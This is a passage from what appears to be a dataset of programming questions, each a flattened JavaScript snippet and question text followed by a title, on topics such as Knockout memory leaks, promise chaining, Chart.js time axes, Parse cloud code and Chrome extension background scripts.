= { currencyStr : ko.observable ( `` usd . `` ) } ; // Item model , used intensively.function ItemModel ( price ) { var self = this ; this.price = ko.computed ( function ( ) { // Computed is subscribed to global variable . return price + ' ' + Environment.currencyStr ( ) ; } ) ; } ; ItemModel.prototype.dispose = function ( ) { // Dispoing subscription to global variable . this.price.dispose ( ) ; } ; function ViewModel ( ) { var self = this ; self.items = ko.observableArray ( [ ] ) ; // Simply adds 1000 new items to observable array directly . self.addItems = function ( ) { for ( var i = 0 ; i < 1000 ; i++ ) { self.items.push ( new ItemModel ( i ) ) ; } } ; // Disposes and removes items from observable array this.removeItems = function ( ) { ko.utils.arrayForEach ( self.items ( ) , function ( item ) { item.dispose ( ) ; } ) ; self.items.removeAll ( ) ; } ; } ; ko.applyBindings ( new ViewModel ( ) ) ; < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/knockout/3.2.0/knockout-min.js '' > < /script > < button data-bind= '' click : addItems '' > Add items < /button > < button data-bind= '' click : removeItems '' > Remove items < /button > < div data-bind= '' foreach : items '' > < div > < span data-bind= '' text : price '' > < /span > < /div > < /div > // Global variable.var Environment = { currencyStr : ko.observable ( `` usd . `` ) } ; // Item model , used intensively.function ItemModel ( price ) { var self = this ; this.price = ko.computed ( function ( ) { // Computed is subscribed to global variable . return price + ' ' + Environment.currencyStr ( ) ; } ) ; } ; ItemModel.prototype.dispose = function ( ) { // Dispoing subscription to global variable . this.price.dispose ( ) ; } ; function ViewModel ( ) { var self = this ; self.items = ko.observableArray ( [ ] ) ; self.itemsMapping = { 'create ' : function ( options ) { return new ItemModel ( options.data ) ; } } ; // Simply adds 1000 new items to observable array using mapping plugin . self.addItems = function ( ) { var itemsPrices = new Array ( 1000 ) ; for ( var i = 0 ; i < 1000 ; i++ ) { itemsPrices [ i ] = i ; } // Mapping new array to our observable array . ko.mapping.fromJS ( itemsPrices , self.itemsMapping , self.items ) ; } ; // Disposes and removes items from observable array this.removeItems = function ( ) { ko.utils.arrayForEach ( self.items ( ) , function ( item ) { item.dispose ( ) ; } ) ; self.items.removeAll ( ) ; } ; } ; ko.applyBindings ( new ViewModel ( ) ) ; < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/knockout/3.2.0/knockout-min.js '' > < /script > < script src= '' //cdnjs.cloudflare.com/ajax/libs/knockout.mapping/2.4.1/knockout.mapping.min.js '' > < /script > < button data-bind= '' click : addItems '' > Add items < /button > < button data-bind= '' click : removeItems '' > Remove items < /button > < div data-bind= '' foreach : items '' > < div > < span data-bind= '' text : price '' > < /span > < /div > < /div >",Strange memory leak in knockout mapping plugin "JS : From https : //firebase.google.com/docs/auth/web/phone-auth : If signInWithPhoneNumber results in an error , reset the reCAPTCHA so the user can try again : But grecaptcha is never defined . Do I have to import it from somewhere ? grecaptcha.reset ( window.recaptchaWidgetId ) ; // Or , if you have n't stored the widget ID : window.recaptchaVerifier.render ( ) .then ( function ( widgetId ) { grecaptcha.reset ( widgetId ) ; }",firebase docs reference grecaptcha but never import or define it "JS : I have a function F that starts an asynchronous process X . The function returns a promise that is resolved when X ends ( which I learn by means of a promise returned by X ) .While the ( w.l.o.g . ) first instance of X , X1 , is running , there may be more calls to F. Each of these will spawn a new instance of X , e.g . X2 , X3 , and so on.Now , here 's the difficulty : When X2 is created , depending on the state of X1 , X1 should conclude or be aborted . X2 should start working only once X1 is not active any more . In any case , the unresolved promises returned from all previous calls to F should be resolved only once X2 has concluded , as well - or , any later instance of X , if F gets called again while X2 is running.So far , the first call to F invokes $ q.defer ( ) to created a deferred whose promise is returned by all calls to F until the last X has concluded . ( Then , the deferred should be resolved and the field holding it should be reset to null , waiting for the next cluster of calls to F. ) Now , my issue is waiting until all instances of X have finished . I know that I could use $ q.all if I had the full list of X instances beforehand , but as I have to consider later calls to F , this is not a solution here . Ideally , I should probably then-chain something to the promise returned by X to resolve the deferred , and `` unchain '' that function as soon as I chain it to a later instance of X.I imagine that something like this : However , I do n't know how to perform that `` unchaining '' , if that is even the right solution.How do I go about this ? Am I missing some common pattern or even built-in feature of promises , or am I on the wrong track altogether ? To add a little context : F is called to load data ( asynchronously ) and updating some visual output . F returns a promise that should only be resolved once the visual output is updated to a stable state again ( i.e . with no more updates pending ) . var currentDeferred = null ; function F ( ) { if ( ! currentDeferred ) { currentDeferred = $ q.defer ( ) ; } // if previous X then `` unchain '' its promise handler X ( ) .then ( function ( ) { var curDef = currentDeferred ; currentDeferred = null ; curDef.resolve ( ) ; } ) ; return currentDeferred.promise ; }",How to wait for the last promise in a dynamic list of promises ? "JS : Does jQuery have an equivalent to Object # tap ? Let ’ s say I want to do something like this : foo.append ( $ ( `` < nav > '' ) .tap ( function ( nav ) { $ .each ( urls , function ( url ) { nav.append ( `` < a > '' ) .attr ( url ) .text ( url ) } ) } )",Is there a jQuery equivalent to Ruby ’ s Object # tap ? "JS : I am reading a great book named `` Secrets of the JavaScript Ninja '' written by John Resig & Bear Bibeaoult . In chapter 3.2 , it gives an example ; Then it says ; An anonymous function is created and assigned to a global variable named canFly . Because of JavaScript 's functional nature , the function can be invoked through this reference as canFly ( ) . In this respect , it 's almost functionally equivalent to declaring a named function named `` canFly '' , but not quite . One major difference is that the function 's name property is `` '' , not `` canFly '' .But when I try to execute the example on Chrome 's Developer Tools and inspect the name property of the canFly function , it returns the value `` canFly '' instead of an empty string.Did anonymous functions assigned to variables have no names in the earlier days ? If so , what has changed ? Or did the authors make a mistake ? var canFly = function ( ) { return true ; } ; canFly.name ; // > `` canFly ''",Why do anonymous functions in javascript have names ? "JS : I was looking at Twitter 's static scripts and noticed that all variables and functions where just 1 character long , why and how do they do this ? Has it something to do with performance ? If so , why do n't they give all elements on their website these kind of short names , maybe 2 characters long instead of 1 to avoid any collisions.Example : ( function ( A ) { A.fn.isScreenNameField = function ( ) { return this.each ( function ( ) { var M = A ( this ) ; var F = A ( `` # signup_username_url '' ) ; var E = A ( `` # screen_name_info '' ) ; var D = A ( `` # avail_screenname_check_indicator '' ) ; var O ; var C ; var I ; var N = M.val ( ) ; var G = N ; var H = N ! = `` '' ; var Q = / [ a-zA-Z0-9_ ] / ; function K ( ) { if ( H ) { F.html ( M.val ( ) ) } } function L ( ) { M.trigger ( `` show-info '' ) ; E.hide ( ) ; D.show ( ) } function B ( ) { E.show ( ) ; D.hide ( ) } function P ( ) { G = O ; jQuery.ajax ( { type : `` GET '' , url : `` /users/username_available '' , data : { username : O } , dataType : `` json '' , success : function ( R ) { if ( C ) { var S = R.msg ; if ( R.valid ) { M.trigger ( `` is-valid '' ) ; F.removeClass ( `` invalid '' ) .addClass ( `` valid '' ) } else { M.trigger ( `` is-invalid '' , R.msg ) ; F.addClass ( `` invalid '' ) .removeClass ( `` valid '' ) } } } , beforeSend : null , complete : function ( ) { clearTimeout ( twttr.timeouts.availabilityTimeout ) ; B ( ) } } ) } function J ( R ) { O = M.val ( ) ; clearTimeout ( twttr.timeouts.availabilityTimeout ) ; C = O.match ( Q ) ; if ( ! C ) { G = O ; B ( ) ; return } if ( O == G ) { return } L ( ) ; twttr.timeouts.availabilityTimeout = setTimeout ( P , 2000 ) } M.isSignupFormField ( { validateWith : function ( R ) { if ( isBlank ( R ) ) { return _ ( `` Please enter a user name '' ) } else { P ( ) } } , allowInput : Q } ) ; M.keyup ( function ( R ) { if ( jQuery.inArray ( R.keyCode , [ 16 , 17 , 18 , 20 , 27 , 33 , 34 , 35 , 37 , 38 , 39 , 40 , 144 ] ) == -1 ) { if ( M.val ( ) ! = `` '' ) { H = true } else { M.trigger ( `` show-info '' ) } K ( ) ; J ( ) } } ) ; M.bind ( `` value-changed '' , P ) ; M.bind ( `` custom-validate '' , P ) } ) P } } )","1-letter names for variables and functions in jQuery , JavaScript" "JS : I have been taught that it is a good practice to always insert a semicolon at the beginning of JavaScript code , as following : However , many popular JavaScript libraries/frameworks do not use this , such as jQuery , Backbone , etc.I believe that the semicolon at the beginning is supposed to prevent bad code to break the minified/compressed code , etc . But still , why no one is using it anymore ? Has the semicolon at the beginning turned out to be useless for some reason ? ; ( function ( ) { } ) ( ) ;",Is semicolon at the beginning of code still good practice ? "JS : Is there any ability in future ECMAScript standards and/or any grunt/gulp modules to make an inline functions ( or inline ordinary function calls in certain places ) in JavaScript like in C++ ? Here an example of simple method than makes dot product of vectorsEvery time when I'am writing somethink likeI want be sure that javascript just do this calculations inline rather then make function call Vector.dot = function ( u , v ) { return u.x * v.x + u.y * v.y + u.z * v.z ; } ; Vector.dot ( v1 , v2 )",JavaScript inline functions like in C++ "JS : I 'd like to draw a graph similar to this one using ZingChart : The best I could do until now was this : Souce : How can I fix the position of the x-ticks to be the same as the x-values ? { `` graphset '' : [ { `` type '' : `` line '' , `` series '' : [ { `` values '' : [ [ 1,218.2 ] , [ 2,121.7 ] , [ 4,62.27 ] , [ 8,34.37 ] , [ 16,19.79 ] , [ 20,16.52 ] , [ 32,17.1 ] , [ 40,16.11 ] , [ 64,91.9 ] ] } ] , `` scale-x '' : { `` values '' : [ 1,2,4,8,16,20,32,40,64 ] } } ] }",Customize x-axis on ZingChart "JS : So I was wandering around the internet searching for some sorting function in js . Here is the problem.We have a string array like this : and we want somthing like this ( Uppercase first ) : or like this ( lowercase first ) : The thing is : it 's really easy to get this : with the .sort ( ) ; function but we do n't want the accentuated words at the end so we use the but we end up with this ... Do you guys have any idea on how to combine both ? [ 'único ' , 'UNICO ' , 'árbol ' , 'ARBOL ' , 'cosas ' , 'COSAS ' , 'fútbol ' , 'FUTBOL ' ] [ 'ARBOL ' , 'COSAS ' , 'FUTBOL ' , 'UNICO ' , 'árbol ' , 'cosas ' , 'fútbol ' , 'único ' ] [ 'árbol ' , 'cosas ' , 'fútbol ' , 'único ' , 'ARBOL ' , 'COSAS ' , 'FUTBOL ' , 'UNICO ' ] [ 'ARBOL ' , 'COSAS ' , 'FUTBOL ' , 'UNICO ' , 'cosas ' , 'fútbol ' , 'árbol ' , 'único ' ] .sort ( function ( a , b ) { return a.localCompare ( b ) ; } ) ; [ 'ARBOL ' , 'árbol ' , 'COSAS ' , 'cosas ' , 'FUTBOL ' , 'fútbol ' , 'UNICO ' , 'único ' ]",Sorting a string array with uppercase first including accents "JS : I noticed something very strange happening when an exception is thrown inside a chain of promises in Parse for React Native . The promise chain never resolves , and never rejects , and the exception is never thrown . It just disappears silently.Here 's sample code to recreate the problem : As you can see from the comments , it only seems to happen in this particular sequence of events . Removing a stage , or swapping a Parse promise for a native JS promise , causes things to behave again . ( In my actual code , the `` Promise.resolve ( ) '' stage is actually a call into a native iOS method that returns a promise . ) I 'm aware that Parse promises do n't behave exactly like A+ compliant promises ( cf . https : //stackoverflow.com/a/31223217/2397068 ) . Indeed , calling Parse.Promise.enableAPlusCompliant ( ) before this section of code causes the exception to be caught and printed . But I thought that Parse promises and native JS promises could be used together safely.Why is this exception disappearing silently ? Thank you . // Replacing this with Promise.resolve ( ) prints the error.// Removing this stage prints the error.Parse.Promise.as ( ) // Removing this stage causes a red screen error . .then ( function ( ) { // Replacing this with Parse.Promise.as ( ) causes a red screen error . return Promise.resolve ( ) ; } ) .then ( function ( ) { throw new Error ( `` There was a failure '' ) ; } ) .then ( function ( ) { console.log ( `` Success '' ) } , function ( err ) { console.log ( err ) } ) ;",Exception gets swallowed in promise chain "JS : I have a React app ( using React Create App ) which I want to upload to production using a script . My production is an AWS S3 bucket . I have added to package.json a `` deploy '' script as follows : This will updload all the build files to the production bucket . Since the build static files ( css , js etc . ) get their own hash code they do not get overwritten by each version and that is fine . The problem I am having is that I do n't want the index.html file to be uploaded until AFTER the other files have completed upload . That way , once index.html is overwritten with the latest version the new static files are automatically used . Any idea how to achieve this ? If there is a better script for uploading a react app to S3 would be great . `` scripts '' : { `` start '' : `` react-scripts start '' , `` build '' : `` react-scripts build '' , `` test '' : `` react-scripts test -- env=jsdom '' , `` eject '' : `` react-scripts eject '' , `` deploy '' : `` aws s3 cp ./build s3 : //app.example.com -- recursive -- exclude \ '' *.DS_Store\ '' -- cache-control public , max-age=604800 -- profile production-profile '' } ,",React Deploying to AWS S3 production using npm - index.html file as last "JS : Angular JS DependenciesAre there any commonly accepted conventions for how to format long lists of dependencies when using inline bracket notation ? After browsing through github and the Angular JS Developer Guide , I have n't seen a consistent approach.I 'm not interested in what individuals think is best ( sorry ) , but if there are standard conventions or best practices defined somewhere that I ca n't find.ExamplesStandardThis is valid , but it extends to column 212 . It 's also difficult to quickly compare the strings and the arguments.Somewhat betterIt 's still out to column 87 , but it 's easy to compare the strings and args.Functional , but a little weird.I 'm inclined to use this one , since it 's compact horizontally and allows for quickly commenting out dependencies . However , it does seem a little weird.Extra CreditIs there a way that satisfies JSLint 's whitespace checks and also maintains the code collapse ability in Sublime Text 3 ? Thanks ! ResourcesAngular JS contributor coding rules make no mention of it.This best practice guide defers to Google , Crockford , etc . angular.module ( 'donkey ' , [ ] ) .controller ( 'FooCtrl ' , [ ' $ scope ' , ' $ http ' , 'someCoolService ' , 'anotherCoolService ' , 'somethingElse ' , function ( $ scope , $ http , someCoolService , anotherCoolService , somethingElse ) { } ] ) ; angular .module ( 'donkey ' , [ ] ) .controller ( 'FooCtrl ' , [ ' $ scope ' , ' $ http ' , 'someCoolService ' , 'anotherCoolService ' , 'somethingElse ' , function ( $ scope , $ http , someCoolService , anotherCoolService , somethingElse ) { } ] ) ; angular.module ( 'donkey ' , [ ] ) .controller ( 'FooCtrl ' , [ ' $ scope ' , ' $ http ' , 'someCoolService ' , 'anotherCoolService ' , 'somethingElse ' , function ( $ scope , $ http , someCoolService , anotherCoolService , somethingElse ) { } ] )",Is there a convention of formatting injected dependencies ? "JS : When I click on the search icon the event fires as it should . But when the search box is expanded the click does n't fire , instead , the search box goes back to being small again.Edit : See claudios snippet for the behaviour I meanEdit 2 : .mouseDown ( ) instead of .click ( ) works . So it seems that when I click on the search icon , focus in the searchbox is lost which makes it go back to it 's original size . This would appear to happen before the mouseUp event which means the coords for the search icon are no longer the same as the .click ( ) event . So I fired up the debugger , set the search box to focus and set my breakpoints and it works . Can I assume my Css transitions are preventing the click action from completing ? And if so how do I get the click in before the css takes effect ? Here is all the relevant code : jQuery ( '.icon-wrapper ' ) .click ( function ( ) { var searchQuery = jQuery ( ' # searchBox ' ) .val ( ) ; if ( searchQuery ! = `` '' ) { alert ( `` I got clicked ! `` ) ; return ; } } ) ; .expandable-search input [ type=search ] : focus { width : 80 % ; } input [ type=search ] { -webkit-appearance : textfield ; -webkit-box-sizing : content-box ; font-family : inherit ; font-size : 100 % ; } input [ type=search ] { border : solid 1px # ccc ; padding : 9px 10px 9px 32px ; width : 55px ; -webkit-border-radius : 10em ; -moz-border-radius : 10em ; border-radius : 10em ; -webkit-transition : all .5s ; -moz-transition : all .5s ; transition : all .5s ; } .expandable-search input [ type=search ] { padding-left : 10px ; color : transparent ; } .expandable-search input [ type=search ] : hover { background-color : # fff ; } span.icon-wrapper : hover { cursor : pointer ; } .expandable-search input [ type=search ] : focus { width : 130px ; padding-left : 32px ; color : # 000 ; background-color : # fff ; cursor : auto ; } .expandable-search input : -moz-placeholder { color : transparent ; } .expandable-search input : :-webkit-input-placeholder { color : transparent ; } .expandable-search .icon-wrapper : after { content : url ( `` http : //ak-static.legacy.net/obituaries/images/obituary/obituaryportal/icon_search.png '' ) ; font-family : '' Glyphicons Halflings '' ; position : absolute ; left : 20px ; top : 10px ; color : # 212121 ; font-size : 20px ; left : 50px ; top : 15px ; } < script src= '' https : //ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js '' > < /script > < li class= '' expandable-search vertical-center '' > < input type= '' search '' id= '' searchBox '' > < span class= '' icon-wrapper '' > < /span > < /li >",Click not completing due to Css Transition "JS : I 'm trying to use the next.js with authentication for a small project . The authentication currently works but does n't allow me to show the data in my navbar.I was using it with firebase originally BUT NOT ANYMORE ! ! Now have the authentication set up separately below.This is the example repo , it has my API in it for auth and the next.js , which i 'm trying to integrate together to have login and logout working with header 's set for api calls.Just getting the basic login and logout functionality , so I can control user access to my website . I know this is really simple - just quite confused how to do it with next.js with how document page an app works : SI am trying to show a table of output from this API , and give the ability to download the outputed json ( into a CSV or whatever ) . So having that available after a search with the query params , and only on a page after the user is logged in , is the point : ) Here 's an example of the login functionality I 'm using.This is posting to this api requestSo just with this small example , hat 's wrong with how I 'm sending the requests currently ? ( thinking it 's the format the login takes requests in ? ) If someone has done something similar or knows how to solve these issues , I 'd really appreciate it : ) Cheers ! https : //github.com/Hewlbern/example import { useRef , useState } from 'react ' ; import React from 'react'import PropTypes from 'prop-types'import Layout from `` ../components/Layout '' ; export default function Login ( ) { const emailRef = useRef < HTMLInputElement > ( null ) ; const passRef = useRef < HTMLInputElement > ( null ) ; const [ message , setMessage ] = useState < any > ( null ) ; async function handleLogin ( ) { const resp = await fetch ( 'http : //localhost:3001/auth/login ' , { method : 'POST ' , headers : { 'Content-Type ' : `` application/x-www-form-urlencoded '' } , body : JSON.stringify ( { email : emailRef.current ? .value , password : passRef.current ? .value } ) } ) ; const json = await resp.json ( ) ; setMessage ( json ) ; } return ( < Layout > { JSON.stringify ( message ) } < input type= '' text '' placeholder= '' email '' ref= { emailRef } / > < input type= '' password '' placeholder= '' password '' ref= { passRef } / > < button onClick= { handleLogin } > Login < /button > < /Layout > ) ; } router.post ( '/login ' , ( req , res ) = > { // console.log ( req.body ) let email = req.body.email ; let password = req.body.password ; console.log ( email , password ) DatabaseService.GetUser ( email ) .then ( user = > { if ( user===null ) { res.sendStatus ( 404 ) ; } else { if ( bcrypt.compareSync ( password , user [ 0 ] .password ) ) { jwt.sign ( { user } , 'secretkey ' , { expiresIn : '30d ' } , ( err , token ) = > { DatabaseService.SetSession ( token , JSON.stringify ( user [ 0 ] .user_id ) ) .then ( inserted= > { res.json ( { token } ) ; } ) ; } ) ; } else { res.sendStatus ( 500 ) ; } } } ) ; } ) ;","Next.js Example Auth - re-routing based on auth , wrapping around other functions" "JS : I 'm developing an app that deals with pictures and using parse.com services as a backend . At some point I had to choose between : store different versions of the same picture , e.g . 100x100 for thumbnails , 400x400 for bigger views , 1000x1000 for fullscreen views ; store only the 1000x1000 version , and scale it down when needed , possibly server-side.The solution I 'm currently working on is a mixture of the two : I hold 100x100 for thumbnails , 1000x1000 for fullscreen views and would like to scale it down for any other need . I started working on a Cloud Code function to achieve this . My wish is to pass to the function the width of the current view , so to make the image adaptable to the client 's need . I have two questions : is this approach correct , or should I better simply store a middle-sized version of the image ( like 400x400 ) ? Would this determine too many calls to the cloud code function ? ( I 'm not aware of any parse.com restriction for the number of cloud functions calls , but there might be ) What kind of object is i.data ( ) returning , and how can I get a Bitmap from it ? From the Android app I 'm calling : var Image = require ( `` parse-image '' ) ; Parse.Cloud.define ( `` getPicture '' , function ( request , response ) { var url = request.params.pictureUrl ; var objWidth = request.params.width / 2 ; Parse.Cloud.httpRequest ( { url : url } ) .then ( function ( resp ) { var i = new Image ( ) ; return i.setData ( resp.buffer ) ; } ) .then ( function ( i ) { var scale = objWidth / i.width ( ) ; if ( scale > = 1 ) { response.success ( i.data ( ) ) ; } return i.scale ( { ratio : scale } ) ; } ) .then ( function ( i ) { return i.data ( ) ; } ) .then ( function ( data ) { response.success ( data ) ; } ) ; } ) ; HashMap < String , Object > params = new HashMap < > ( ) ; params.put ( `` pictureUrl '' , getUrl ( ) ) ; params.put ( `` width '' , getWidth ( ) ) ; ParseCloud.callFunctionInBackground ( `` getPicture '' , params , new FunctionCallback < Object > ( ) { @ Override public void done ( Object object , ParseException e ) { //here I should use BitmapFactory.decodeByteArray ( ... ) //but object is definitely not a byte [ ] ! //From debugging it looks like a List < Integer > , //but I do n't know how to get a Bitmap from it . } } ) ;",Download image through Parse Cloud Code function "JS : I 'm storing a very large ( > 1MB ) bitmask in memory as a string and am curious about how JS stores strings internally . I have the feeling , based on the fact that , that all strings are unicode , but I 'm not certain . Basically I 'm trying to find out if it would be more efficient , in terms of memory usage , to bitmask against 16-bit characters than 8-bit characters ? String.fromCharCode ( 65535 ) .charCodeAt ( 0 ) === 65535",Does JS always use two bytes per character to store strings ? "JS : At first this might seem to be like many of the other questions already asked regarding NaN in JavaScript , but I assure you it 's not.I have this piece of code that converts grabs the value from a textbox , and converts it into a date after clicking a button in a form : The textbox itemAcquiredTxt would have a value of `` 2013-12-15 '' ( YYYY-MM-DD format ) taken from a database call : After creating the new Date object it gives me `` Invalid Date '' .OK ... So I thought of making the Date object by passing it year , month and day as numbers - one of its other constructors.I tried splitting the string in the date textbox by the dash , and convert the string into a number using both Number and parseInt - but both gave me a NaN . I double checked the string values and nothing seemed wrong : `` 2013 '' , `` 12 '' , `` 15 '' on the split items respectively . I said to myself ... maybe my code is bad , and tried it on JSFiddlehttps : //jsfiddle.net/jrxg40js/But as you can see there , after placing a date in the text and pressing the button , it works ! Heres the relevant HTML codeRelevant AngularJS function used to update the item with new data keyed by user - the function gets called when a user presses a confirmation button : Why is my code returning NaN on my working environment ( Visual Studio 2015 debugging on IE11 ) when other sites , such as JSFiddle is returning what I 'm expecting ? var dateString = $ ( ' # itemAcquiredTxt ' ) .val ( ) ; //Would have a value of '2013-12-15'var dateAcquired = new Date ( dateString ) ; //Invalid Date ? $ ( ' # itemAcquiredTxt ' ) .val ( new Date ( item.DateAcquired ) .toLocaleDateString ( ) ) ; var year = Number ( dateString.split ( `` - '' ) [ 0 ] ) ; //Returns NaN var month = Number ( dateString.split ( `` - '' ) [ 1 ] ) ; //Returns NaN var day = Number ( dateString.split ( `` - '' ) [ 2 ] ) ; //Returns NaN var dateAcquired = new Date ( year , month - 1 , day ) ; //InvalidDate < table id= '' inputTable '' > < tr > < td > < span > < strong > Name : < /strong > < /span > < /td > < td > < input id= '' itemNameTxt '' type= '' text '' value= '' '' / > < /td > < /tr > < tr > < td > < span > < strong > Category : < /strong > < /span > < /td > < td > < select id= '' categorySelect '' ng-model= '' selectedCategory '' ng-change= '' changeSubCategoryList ( selectedCategory ) '' ng-options= '' cat as cat.CategoryName for cat in categoriesObj track by cat.CategoryID '' > < option value= '' '' > -- -Please Select One -- - < /option > < /select > < /td > < /tr > < tr ng-show= '' hasSubCat '' > < td > < span > < strong > Sub Category < /strong > < /span > < /td > < td > < select id= '' subCategorySelect '' > < option value= '' '' > -- -Please Select One -- - < /option > < option ng-repeat= '' sub in subCategoryObj '' value= '' { { sub.SubCatID } } '' > { { sub.SubCatName } } < /option > < /select > < /td > < /tr > < tr > < td > < span > < strong > Description : < /strong > < /span > < /td > < td > < input id= '' itemDescriptionTxt '' type= '' text '' value= '' '' / > < /td > < /tr > < tr > < td > < span > < strong > Serial Number : < /strong > < /span > < /td > < td > < input id= '' itemSerialNumberTxt '' type= '' text '' value= '' '' / > < /td > < /tr > < tr > < td > < span > < strong > Year : < /strong > < /span > < /td > < td > < input id= '' itemYearTxt '' type= '' text '' value= '' '' / > < /td > < /tr > < tr > < td > < span > < strong > Initial Cost : < /strong > < /span > < /td > < td > < input id= '' itemValueTxt '' type= '' text '' value= '' '' / > < /td > < /tr > < tr > < td > < span > < strong > Department : < /strong > < /span > < /td > < td > < select id= '' departmentSelect '' > < option value= '' '' > -- -Please Select One -- - < /option > < option ng-repeat= '' dep in departmentsObj '' value= '' { { dep.RoleID } } '' > { { dep.RoleDescription } } < /option > < /select > < /td > < /tr > < tr > < td > < span > < strong > Campus : < /strong > < /span > < /td > < td > < select id= '' campusSelect '' ng-model= '' selectedCampus '' ng-change= '' changeBuildingList ( selectedCampus ) '' ng-options= '' campus as campus.CampusDescription for campus in campusesObj track by campus.CampusID '' > < option value= '' '' > -- -Please Select One -- - < /option > < /select > < /td > < /tr > < tr > < td > < span > < strong > Building : < /strong > < /span > < /td > < td > < select id= '' buildingSelect '' > < option value= '' '' > < /option > < option ng-repeat= '' building in buildingsObj '' value= '' { { building.BuildingID } } '' > { { building.BuildingDescription } } < /option > < /select > < /td > < /tr > < tr > < td > < span > < strong > Date Acquired : < /strong > < /span > < /td > < td > < input id= '' itemAcquiredTxt '' type= '' text '' value= '' '' / > < /td > < /tr > < tr > < td > < span > < strong > Notes : < /strong > < /span > < /td > < td > < textarea id= '' noteTxt '' > < /textarea > < /td > < /tr > < /table > $ scope.editItem = function ( ) { var dateString = $ ( ' # itemAcquiredTxt ' ) .val ( ) ; dateAcquired = new Date ( dateString ) ; var invItem = { ItemID : $ ( ' # itemID ' ) .val ( ) , ItemName : $ ( ' # itemNameTxt ' ) .val ( ) .trim ( ) , CategoryID : $ ( ' # categorySelect ' ) .find ( `` : selected '' ) .val ( ) , SubCategoryID : $ ( ' # subCategorySelect ' ) .find ( `` : selected '' ) .val ( ) , Description : $ ( ' # itemDescriptionTxt ' ) .val ( ) .trim ( ) , SerialNumber : $ ( ' # itemSerialNumberTxt ' ) .val ( ) .trim ( ) , Year : $ ( ' # itemYearTxt ' ) .val ( ) .trim ( ) , DateAcquired : dateAcquired , Value : $ ( ' # itemValueTxt ' ) .val ( ) .trim ( ) , RoleID : $ ( ' # departmentSelect ' ) .find ( `` : selected '' ) .val ( ) , Barcode : null , Notes : $ ( ' # noteTxt ' ) .val ( ) .trim ( ) , Deleted : null , AddedBy : null , DateAdded : null , ModifiedBy : null , //Added by server DateModified : null , DeletedBy : `` , DateDeleted : null , CampusID : $ ( ' # campusSelect ' ) .find ( `` : selected '' ) .val ( ) , BuildingID : $ ( ' # buildingSelect ' ) .find ( `` : selected '' ) .val ( ) , RoomID : null } ; $ http.put ( `` api/inventory/ '' , invItem ) .success ( function ( data , status , headers , config ) { inventoryData.retrieveData ( ) ; //On success , refresh zeh data } ) .error ( function ( data , status , headers , config ) { console.log ( data ) ; } ) ; $ ( `` # dialogForm '' ) .dialog ( `` close '' ) ;",Why is this function returning NaN ? "JS : I want a sound to play when an element changes on a page . I know how to do this , but I ca n't get it to play only on the first change , and do n't do it later , until the user focuses the window ( tab ) and blurs it again.My current code : var notif = new Audio ( 'http : //cycle1500.com/sounds/infbego.wav ' ) ; if ( window.innerHeight === window.outerHeight ) { $ ( window ) .bind ( 'DOMNodeInserted ' , function ( ) { notif.play ( ) ; } ) ; }","How do I play a sound when an element changes , like SO Chat does ?" "JS : Possible Duplicates : How does this JavaScript/JQuery Syntax work : ( function ( window , undefined ) { } ) ( window ) ? What advantages does using ( function ( window , document , undefined ) { … } ) ( window , document ) confer ? i have seen many javascript libraries create a variable named `` undefined '' , iam unable to figure out its purpose , below are lines copied from jQuery libraryPlease suggest me the reason and benefits of doing so ! ! * Date : Wed Feb 23 13:55:29 2011 -0500 */ ( function ( window , undefined ) { // Use the correct document accordingly with window argument ( sandbox ) var document = window.document ; var jQuery = ( function ( ) {",variable named undefined in Javascript Libraries "JS : I 'm trying to plot a time series with second precision , format HH : mm : ss ( 24 hour/day ) , as stated in moment js docs.The problem is that the format I 'm declaring is not being respected , I 've tried several combinations from chartsjs docs and none of them worked.I think I 'm almost there , I bet I 'm just missing a little detail.JSFIDDLE : https : //jsfiddle.net/ue1x8079/ Vue.component ( 'line-chart ' , { extends : VueChartJs.Line , mixins : [ VueChartJs.mixins.reactiveProp ] , props : [ 'chartData ' , 'timeFormat ' ] , data ( ) { return { options : { animation : false , scales : { xAxes : [ { type : 'time ' , distribution : 'series ' , time : { format : this.timeFormat } } ] , } , } } } , mounted ( ) { this.renderChart ( this.chartData , this.options ) ; } } ) var vm = new Vue ( { el : '.app ' , data ( ) { return { chart : { } , timeFormat : 'HH : mm : ss ' , timeout : null , len_data : 20 } } , created ( ) { this.change_data ( ) ; } , methods : { change_data : function ( ) { this.chart = this.fillData ( ) ; this.timeout = setTimeout ( this.change_data , 1000 ) ; } , fillData ( ) { return { labels : this.get_labels ( ) , datasets : [ { fill : false , // line pointRadius : 2 , // line borderWidth : 2 , // line borderColor : `` rgba ( 25 , 25 , 125 , 1 ) '' , data : this.get_nums ( 0 ) , label : `` Points '' } ] } } , get_labels ( ) { return Array.from ( { length : this.len_data } , ( v , k ) = > this.newDateString ( this.len_data-k ) ) ; } , get_nums ( data_idx ) { if ( typeof this.chart.datasets ! == 'undefined ' ) { this.chart.datasets [ data_idx ] .data.shift ( ) ; // removing the first item this.chart.datasets [ data_idx ] .data.push ( this.getRandomInt ( ) ) ; // adding a new one return this.chart.datasets [ data_idx ] .data ; } return Array.from ( { length : this.len_data } , ( v , k ) = > this.getRandomInt ( ) ) ; } , getRandomInt ( ) { return Math.floor ( Math.random ( ) * ( 50 - 5 + 1 ) ) + 5 } , newDateString ( seconds ) { return moment ( ) .subtract ( seconds , 's ' ) .format ( this.timeFormat ) ; } } } ) < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/moment.js/2.13.0/moment.min.js '' > < /script > < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/vue/2.2.6/vue.min.js '' > < /script > < script src= '' https : //unpkg.com/vue-chartjs @ 2.6.5/dist/vue-chartjs.full.min.js '' > < /script > < div class= '' app '' > < line-chart : chart-data= '' chart '' : time-format= '' timeFormat '' width= '' 400 '' height= '' 200 '' > < /line-chart > < br > { { chart.datasets [ 0 ] .data } } < /div >","time series stream , removing am/pm on x axis and 24 hour format" "JS : In my chrome extension , I have a background script that will fetch some data that it will need using a XMLHttpRequest.I want to know when will xor.send ( ) be run.I observed that every time I reload the extension by pressing on the button , xhr.send ( ) will be called . I also observed that opening a new tab/window does n't cause the background script to be run again.I also found this page , that the background page gets `` loaded '' and `` unloaded '' , but it says very little about when the code in the global scope of the background script is run.Does it only run when the extension is installed/reloaded ? // note that this code is in the global scope i.e . outside of any function// also note that I got this code from the page talking about XMLHttpRequestvar myData = [ ] ; var xhr = new XMLHttpRequest ( ) ; xhr.onreadystatechange = handleStateChange ; xhr.open ( `` GET '' , `` ... '' , true ) ; xhr.send ( ) ; function handleStateChange ( ) { myData = 